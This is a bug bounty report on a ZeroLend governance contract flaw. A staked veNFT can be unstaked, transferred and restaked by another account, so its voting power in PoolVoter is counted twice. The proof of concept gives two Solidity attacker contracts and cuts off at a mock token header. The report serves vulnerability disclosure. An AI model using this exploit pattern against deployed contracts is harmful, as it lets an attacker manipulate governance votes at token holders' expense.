29211 - [SC - Critical] Voting manipulation cause by the possibility to...

Submitted on Mar 10th 2024 at 19:37:05 UTC by @stiglitz for Boost | ZeroLend

Report ID: #29211

Report type: Smart Contract

Report severity: Critical

Target: https://github.com/zerolend/governance

Impacts:

  • Manipulation of governance voting result deviating from voted outcome and resulting in a direct change from intended effect of original results

Description

Brief/Intro

Users stake their veNFT into the contract OmnichainStaking; as a result, ERC20 token representing their staking power will be minted.

These ERC20 do not allow transfers, which is crucial because in the PoolVoter contract, the balance of the staking token is accessed.

uint256 _weight = staking.balanceOf(who);  

The problem is that backing veNFT token can be easily transferred.

This means that user A stakes X amount of underlying token to mint veNFT in the Locker contract.

NFT is then sent to the OmnichainStaking contract which triggers onERC721Received function, and user A gets Y amount of voting ERC20 token.

User A votes in PoolVoter, unstake veNFT from OmnichainStaking contract, sends it to B.

B sends NFT to the OmnichainStaking and get Y of voting tokens. Then B votes. This way we doubled the voting power!

Vulnerability Details

Detailed description with steps in PoC. Actions and state changes are printed out. It is also possible to print call_trace, emitted events etc.

Impact Details

Vote manipulation

References

Add any relevant links to documentation or code

Proof of Concept

X contract

import {ILocker} from "../contracts/interfaces/ILocker.sol";
import {OmnichainStaking} from "../contracts/locker/OmnichainStaking.sol";
import {PoolVoter} from "../contracts/voter/PoolVoter.sol";

contract X {
    ILocker public lpLocker;
    OmnichainStaking public staking;
    PoolVoter public poolVoter;

    constructor(address _lpLocker, address _staking, address _poolVoter){
        lpLocker  = ILocker(_lpLocker);
        staking   = OmnichainStaking(_staking);
        poolVoter = PoolVoter(_poolVoter);
    }

    function onERC721Received(
        address,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4) {
        //lpLocker.safeTransferFrom(address(this), lpLocker, tokenId);

        return this.onERC721Received.selector;
    }

    // Unstake from omnichain staking
    function unstakeLP(uint256 tokenId) external { 
        staking.unstakeLP(tokenId);
    }
    // This allows me to send anywhere I want
    function send(address to, uint256 tokenId) external {
        lpLocker.safeTransferFrom(address(this), to, tokenId);
    }

    function vote(address[] calldata _poolVote,uint256[] calldata _weights) external {
        poolVoter.vote(_poolVote, _weights);
    }
}

Y contract

import {ILocker} from "../contracts/interfaces/ILocker.sol";
import {OmnichainStaking} from "../contracts/locker/OmnichainStaking.sol";
import {PoolVoter} from "../contracts/voter/PoolVoter.sol";

contract Y {
    ILocker public lpLocker;
    OmnichainStaking public staking;
    PoolVoter public poolVoter;

    constructor(address _lpLocker, address _staking, address _poolVoter){
        lpLocker  = ILocker(_lpLocker);
        staking   = OmnichainStaking(_staking);
        poolVoter = PoolVoter(_poolVoter);
    }

    function onERC721Received(
        address,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4) {
        //lpLocker.safeTransferFrom(address(this), lpLocker, tokenId);

        return this.onERC721Received.selector;
    }

    // Unstake from omnichain staking
    function unstakeLP(uint256 tokenId) external { 
        staking.unstakeLP(tokenId);
    }
    // This allows me to send anywhere I want
    function send(address to, uint256 tokenId) external {
        lpLocker.safeTransferFrom(address(this), to, tokenId);
    }

    function vote(address[] calldata _poolVote,uint256[] calldata _weights) external {
        poolVoter.vote(_poolVote, _weights);
    }
}

Ve mock token

pragma solidity ^0.8.6;